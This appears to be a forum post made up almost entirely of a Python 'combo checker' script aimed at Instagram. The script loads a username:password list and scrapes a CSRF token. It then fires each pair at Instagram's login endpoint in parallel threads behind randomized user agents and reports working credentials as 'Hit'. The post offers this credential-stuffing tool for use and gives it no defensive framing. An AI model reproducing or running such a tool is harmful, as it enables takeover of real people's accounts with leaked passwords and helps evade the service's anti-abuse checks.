OP 27 September, 2019 - 12:50 AM
Code:
import requests
import random
from multiprocessing import Pool, cpu_count
# VERSION = 0.0.1
class Check(object):
def __init__(self):
self.data_array = []
def _get_combo(self):
file_name = input("Insert combo name {username:password}:")
try:
file = open(file_name, "r").readlines()
except:
print("File not found")
self._get_combo()
datas = [data.strip() for data in file]
for line in datas:
tmp = line.split(":")
self.data_array.append({
"user": tmp[0],
"password": tmp[1],
"user_agent": self._compute_user_agent()
})
def _compute_user_agent(self):
user_agent = [
"Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10",
"Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007",
"Opera/8.51 (Windows NT 5.1; U; en)",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox",
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0",
"Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)",
]
return random.choice(user_agent)
def _get_token(self, user_agent):
source = requests.get("https://www.instagram.com/accounts/login",
headers={'Connection': 'close', 'User-agent': user_agent}).text
token = source.split('csrf_token":"')[1].split('"')[0]
return token
def check(self, data_array):
user = data_array["user"]
password = data_array["password"]
user_agent = data_array["user_agent"]
print("Checking :" + user + ":" + password)
token = self._get_token(user_agent)
session = requests.session()
respons = session.post("https://www.instagram.com/accounts/login/ajax/",
headers={'User-agent': user_agent,
"x-csrftoken": token,
'x-instagram-ajax': '1',
'x-requested-with': 'XMLHttpRequest',
'Origin': "https://www.instagram.com/",
'Referer': "https://www.instagram.com/",
'Connection': 'close'
},
data={
"password": password,
"username": user,
})
if respons.status_code != 200:
print("Error: " + str(respons.status_code))
result = respons.json()
if "authenticated" in result:
if result["authenticated"]:
print("Hit :" + user + ":" + password)
def main(self):
default_thread = cpu_count()
try:
pool = Pool(int(input("Threads (Default based on ur cpu): ")))
except:
pool = Pool(default_thread)
self._get_combo()
pool.map(self.check, self.data_array)
if __name__ == "__main__":
Check().main()